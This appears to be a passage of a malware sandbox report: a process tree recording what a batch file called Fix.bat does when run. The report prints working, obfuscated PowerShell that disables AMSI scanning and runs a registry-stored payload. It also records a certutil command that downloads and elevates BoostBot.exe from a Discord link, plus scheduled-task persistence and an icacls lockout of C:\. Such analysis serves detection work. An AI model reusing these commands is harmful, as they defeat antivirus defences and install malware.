9)+''+'e'+''+','+''+[Char](77)+''+'a'+''+'n'+'a'+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $ZGsLAySYSQY.CreateType();}$CEgkdxOHZCoil=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+'m'+'.'+'d'+''+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+'.'+'W'+[Char](105)+'n3'+[Char](50)+'.'+[Char](85)+''+'n'+'sa'+[Char](102)+'e'+[Char](78)+''+'a'+''+'t'+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+'t'+''+[Char](104)+'o'+[Char](100)+'s');$zIWvWvbynGbvpW=$CEgkdxOHZCoil.GetMethod('G'+[Char](101)+''+[Char](116)+'P'+'r'+''+'o'+'cAd'+[Char](100)+'re'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+'l'+''+'i'+'c,'+'S'+''+[Char](116)+''+[Char](97)+''+'t'+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BOPALydvwuQfOVbkHTS=wIpZvHGRBscU @([String])([IntPtr]);$BjIzJwOvfeFxdZtcSjwZzo=wIpZvHGRBscU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ceuZHgwvUpT=$CEgkdxOHZCoil.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+'eH'+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+'e'+'r'+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+'d'+[Char](108)+'l')));$TboFmfslWEyQRX=$zIWvWvbynGbvpW.Invoke($Null,@([Object]$ceuZHgwvUpT,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+'Li'+'b'+''+'r'+''+[Char](97)+''+'r'+''+[Char](121)+'A')));$psKqxPYVFDxxKMjtC=$zIWvWvbynGbvpW.Invoke($Null,@([Object]$ceuZHgwvUpT,[Object]('Vi'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$MkKRLtx=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TboFmfslWEyQRX,$BOPALydvwuQfOVbkHTS).Invoke(''+'a'+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+'l');$OcqUVJkMPkoRgREUh=$zIWvWvbynGbvpW.Invoke($Null,@([Object]$MkKRLtx,[Object]('Am'+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+'n'+[Char](66)+''+[Char](117)+'f'+[Char](102)+''+'e'+''+'r'+'')));$hmwnzYPgAQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($psKqxPYVFDxxKMjtC,$BjIzJwOvfeFxdZtcSjwZzo).Invoke($OcqUVJkMPkoRgREUh,[uint32]8,4,[ref]$hmwnzYPgAQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$OcqUVJkMPkoRgREUh,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($psKqxPYVFDxxKMjtC,$BjIzJwOvfeFxdZtcSjwZzo).Invoke($OcqUVJkMPkoRgREUh,[uint32]8,0x20,[ref]$hmwnzYPgAQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+'TWAR'+'E'+'').GetValue(''+'$'+''+[Char](55)+'7'+[Char](115)+'ta'+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4472 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FUsaeTutQOZT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kzgrZbVyGWVwnZ,[Parameter(Position=1)][Type]$AxQaETeAzT)$CqPjWYZHMhJ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+'l'+''+[Char](101)+'c'+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+'e'+'mo'+[Char](114)+''+[Char](121)+'Mo'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+'e'+''+'l'+'e'+'g'+''+'a'+''+[Char](116)+'e'+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s,'+[Char](80)+'u'+[Char](98)+''+'l'+''+'i'+''+[Char](99)+',S'+[Char](101)+'al'+'e'+''+[Char](100)+''+','+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+''+'o'+'Cl'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$CqPjWYZHMhJ.DefineConstructor(''+'R'+'T'+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+'d'+[Char](101)+''+'B'+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+'P'+''+[Char](117)+''+'b'+'lic',[Reflection.CallingConventions]::Standard,$kzgrZbVyGWVwnZ).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+'me'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+'d');$CqPjWYZHMhJ.DefineMethod(''+'I'+''+[Char](110)+'v'+'o'+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+'i'+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+'w'+[Char](83)+'l'+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+'u'+[Char](97)+'l',$AxQaETeAzT,$kzgrZbVyGWVwnZ).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+''+'a'+'n'+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $CqPjWYZHMhJ.CreateType();}$vLVIwngNSDfee=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+'m'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+'of'+'t'+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+'.'+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+'M'+''+'e'+'t'+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$CwMUFnweKLjtYm=$vLVIwngNSDfee.GetMethod('G'+'e'+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+'t'+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$rHKrvICHZpcefunUZmA=FUsaeTutQOZT @([String])([IntPtr]);$ibkrRFmlDkQYMUERNlEAdj=FUsaeTutQOZT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$suSvlGowIyX=$vLVIwngNSDfee.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+'o'+'d'+'u'+''+[Char](108)+''+[Char](101)+''+'H'+'a'+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+'3'+'2'+''+'.'+'d'+[Char](108)+''+'l'+'')));$XsKIgJADHrySdl=$CwMUFnweKLjtYm.Invoke($Null,@([Object]$suSvlGowIyX,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+'y'+''+[Char](65)+'')));$mJmycAyGkJKGUBunn=$CwMUFnweKLjtYm.Invoke($Null,@([Object]$suSvlGowIyX,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$XKMgkJq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XsKIgJADHrySdl,$rHKrvICHZpcefunUZmA).Invoke(''+'a'+'msi'+'.'+''+'d'+'l'+[Char](108)+'');$gmYKNVIxxKabUdHzO=$CwMUFnweKLjtYm.Invoke($Null,@([Object]$XKMgkJq,[Object](''+'A'+''+'m'+''+[Char](115)+'iS'+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+'u'+'f'+''+[Char](102)+'e'+[Char](114)+'')));$zumvVesnUQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mJmycAyGkJKGUBunn,$ibkrRFmlDkQYMUERNlEAdj).Invoke($gmYKNVIxxKabUdHzO,[uint32]8,4,[ref]$zumvVesnUQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$gmYKNVIxxKabUdHzO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mJmycAyGkJKGUBunn,$ibkrRFmlDkQYMUERNlEAdj).Invoke($gmYKNVIxxKabUdHzO,[uint32]8,0x20,[ref]$zumvVesnUQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+'7'+'7'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2452 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4884
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ZJPEifBhLVew{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$zgoWvBXqWYsVtp,[Parameter(Position=1)][Type]$qDuBbcxIat)$hnOvqCKixJK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+'el'+[Char](101)+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+'o'+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType('My'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+'g'+'a'+'te'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+','+''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+'le'+'d'+''+','+''+'A'+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s,'+'A'+'u'+[Char](116)+'oCl'+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$hnOvqCKixJK.DefineConstructor(''+'R'+''+[Char](84)+'S'+'p'+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+'N'+'a'+'m'+''+[Char](101)+''+','+'H'+[Char](105)+''+[Char](100)+''+'e'+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+'ub'+'l'+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$zgoWvBXqWYsVtp).SetImplementationFlags('R'+'u'+'n'+[Char](116)+''+'i'+''+[Char](109)+'e'+[Char](44)+''+'M'+''+[Char](97)+''+'n'+'a'+'g'+'e'+[Char](100)+'');$hnOvqCKixJK.DefineMethod(''+'I'+''+'n'+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'ic'+','+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'al',$qDuBbcxIat,$zgoWvBXqWYsVtp).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+'t'+''+'i'+'m'+'e'+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+'e'+'d'+'');Write-Output $hnOvqCKixJK.CreateType();}$LTzlebIewGosV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+'t'+'e'+'m'+[Char](46)+''+'d'+''+'l'+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+[Char](115)+'oft.'+[Char](87)+'i'+'n'+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+'a'+''+'f'+'eNa'+[Char](116)+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$burHAAGhiYarsx=$LTzlebIewGosV.GetMethod(''+[Char](71)+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+'t'+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GWXAmjDsBJAEZxyjxFu=ZJPEifBhLVew @([String])([IntPtr]);$nhAbNaGdjETtwLBMhVgAvd=ZJPEifBhLVew @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$fehNcaPOuyR=$LTzlebIewGosV.GetMethod('G'+[Char](101)+''+'t'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+'e'+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'rne'+[Char](108)+''+[Char](51)+'2'+'.'+'dl'+'l'+'')));$sbpMGqOCGKgTGq=$burHAAGhiYarsx.Invoke($Null,@([Object]$fehNcaPOuyR,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+'Li'+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+'y'+'A')));$rUcJQgellHxmtdUEU=$burHAAGhiYarsx.Invoke($Null,@([Object]$fehNcaPOuyR,[Object](''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'lP'+[Char](114)+''+'o'+''+[Char](116)+'e'+[Char](99)+''+'t'+'')));$BEiHJGi=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sbpMGqOCGKgTGq,$GWXAmjDsBJAEZxyjxFu).Invoke(''+[Char](97)+'ms'+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$NoaBoIcvpTvmBPpds=$burHAAGhiYarsx.Invoke($Null,@([Object]$BEiHJGi,[Object](''+'A'+'msiS'+[Char](99)+''+'a'+''+[Char](110)+'B'+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$AiRoLAzsWJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rUcJQgellHxmtdUEU,$nhAbNaGdjETtwLBMhVgAvd).Invoke($NoaBoIcvpTvmBPpds,[uint32]8,4,[ref]$AiRoLAzsWJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NoaBoIcvpTvmBPpds,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rUcJQgellHxmtdUEU,$nhAbNaGdjETtwLBMhVgAvd).Invoke($NoaBoIcvpTvmBPpds,[uint32]8,0x20,[ref]$AiRoLAzsWJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+'7'+[Char](115)+'tag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
PID:4152 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:244
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1272
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1448
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1516
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2996
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1572
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1592
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1716
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1732
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1776
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1528
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1984
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2072
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2140
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2244
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2352
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
PID:2532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2616
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2636
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2708
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2716
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3044
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3196
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3380 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fix.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Windows\system32\certutil.execertutil -urlcache -split -f "https://cdn.discordapp.com/attachments/1237881664131174481/1239282786335064204/BoostBot.exe?ex=66425b89&is=66410a09&hm=76121e524db94e51397af0fa52812c443a6cb5a194da52bb2909deb394f90aee&" BoostBot.exe3⤵PID:4944
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Process -FilePath 'BoostBot.exe' -Verb RunAs"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\BoostBot.exe" /rl HIGHEST /f5⤵
- Creates scheduled task(s)
PID:2376 -
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4984 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f6⤵
- Creates scheduled task(s)
PID:4780 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"6⤵
- Executes dropped EXE
PID:4080 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /delete /tn "$sxr-powershell" /f6⤵PID:3956
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:4852
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8LwR0RXrtD8H.bat" "6⤵PID:3580
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:4932
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C:\Windows\SysWOW64\chcp.comchcp 650017⤵PID:1900
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C:\Windows\SysWOW64\PING.EXEping -n 10 localhost7⤵
- Runs ping.exe
PID:2540 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"6⤵
- Executes dropped EXE
PID:3464 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77$sxr-powershell.exe" /tr "'C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe'" /sc onlogon /rl HIGHEST6⤵
- Creates scheduled task(s)
PID:2044 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"5⤵
- Executes dropped EXE
PID:1552 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77BoostBot.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\BoostBot.exe'" /sc onlogon /rl HIGHEST5⤵
- Creates scheduled task(s)
PID:4980 -
C:\Windows\system32\icacls.exeicacls "C:\" /deny *S-1-1-0:(OI)(CI)F /T3⤵
- Modifies file permissions
PID:5000 -
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Executable File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f3⤵PID:2464
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C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Local\Temp\Fix.bat"3⤵
- Views/modifies file attributes
PID:4192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3600
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3928
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
PID:4000
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4020
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4072
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:1108
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3444
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3024
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2196
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2964
